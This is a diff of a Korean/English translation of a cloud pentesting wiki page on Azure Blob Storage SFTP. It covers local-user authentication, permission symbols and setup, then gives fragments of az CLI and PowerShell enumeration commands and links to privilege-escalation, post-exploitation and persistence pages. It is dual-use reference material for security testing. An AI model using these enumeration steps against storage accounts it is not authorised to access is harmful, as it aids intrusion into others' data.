사용자 ID를 사용하며 RBAC 또는 ABAC와 통합되지 않습니다. 각 로컬 사용자는 다음 방법으로 인증할 수 있습니다: - - Azure에서 생성한 비밀번호 - - 공개/개인 SSH 키 쌍 -- Granular Permissions: Read, Write, Delete, List와 같은 권한을 로컬 사용자에게 최대 100개 컨테이너에 대해 할당할 수 있습니다. -- Networking Considerations: SFTP 연결은 포트 22를 통해 이루어집니다. Azure는 방화벽, private endpoints, virtual networks와 같은 네트워크 구성을 지원하여 SFTP 트래픽을 보호할 수 있습니다. +- Protocol Support: SFTP works with Blob Storage accounts configured with hierarchical namespace (HNS). This organizes blobs into directories and subdirectories for easier navigation. +- Security: SFTP uses local user identities for authentication and does not integrate with RBAC or ABAC. Each local user can authenticate via: +- Azure-generated passwords +- Public-private SSH key pairs +- Granular Permissions: Permissions such as Read, Write, Delete, and List can be assigned to local users for up to 100 containers. +- Networking Considerations: SFTP connections are made through port 22. Azure supports network configurations like firewalls, private endpoints, or virtual networks to secure SFTP traffic. -### 설정 요구사항 +### Setup Requirements -- Hierarchical Namespace: 스토리지 계정 생성 시 HNS가 활성화되어야 합니다. -- Supported Encryption: Microsoft Security Development Lifecycle (SDL) 승인 암호화 알고리즘(예: rsa-sha2-256, ecdsa-sha2-nistp256)을 요구합니다. +- Hierarchical Namespace: HNS must be enabled when creating the storage account. +- Supported Encryption: Requires Microsoft Security Development Lifecycle (SDL)-approved cryptographic algorithms (e.g., rsa-sha2-256, ecdsa-sha2-nistp256). - SFTP Configuration: - - 스토리지 계정에서 SFTP를 활성화합니다. - - 적절한 권한을 가진 로컬 사용자 ID를 생성합니다. - - 사용자의 시작 위치를 정의하기 위해 홈 디렉터리를 구성합니다. +- Enable SFTP on the storage account. +- Create local user identities with appropriate permissions. +- Configure home directories for users to define their starting location within the container. -### 권한 +### Permissions -| Permission | Symbol | Description | +| 권한 | 기호 | 설명 | | ---------------------- | ------ | ------------------------------------ | -| **Read** | `r` | 파일 내용을 읽습니다. | -| **Write** | `w` | 파일 업로드 및 디렉터리 생성. | -| **List** | `l` | 디렉터리의 내용을 나열합니다. | -| **Delete** | `d` | 파일 또는 디렉터리를 삭제합니다. | -| **Create** | `c` | 파일 또는 디렉터리를 생성합니다. | -| **Modify Ownership** | `o` | 소유자 또는 그룹을 변경합니다. | -| **Modify Permissions** | `p` | 파일 또는 디렉터리의 ACL을 변경합니다. | +| **읽기** | `r` | 파일 내용 읽기. | +| **쓰기** | `w` | 파일 업로드 및 디렉터리 생성. | +| **목록** | `l` | 디렉터리 내용 나열. | +| **삭제** | `d` | 파일 또는 디렉터리 삭제. | +| **생성** | `c` | 파일 또는 디렉터리 생성. | +| **소유권 수정** | `o` | 소유 사용자 또는 그룹 변경. | +| **권한 수정** | `p` | 파일 또는 디렉터리의 ACL 변경. | -## 열거 +## Enumeration {{#tabs }} {{#tab name="az cli" }} @@ -372,7 +372,7 @@ az storage account local-user list \ {{#tab name="Az PowerShell" }}
-Az PowerShell 열거 +Az PowerShell enumeration ```powershell # Get storage accounts Get-AzStorageAccount | fl @@ -441,19 +441,19 @@ New-AzStorageBlobSASToken ` az-file-shares.md {{#endref}} -## Privilege Escalation +## 권한 상승 {{#ref}} ../az-privilege-escalation/az-storage-privesc.md {{#endref}} -## Post Exploitation +## 사후 침해 활동 {{#ref}} ../az-post-exploitation/az-blob-storage-post-exploitation.md {{#endref}} -## Persistence +## 지속성 {{#ref}} ../az-persistence/az-storage-persistence.md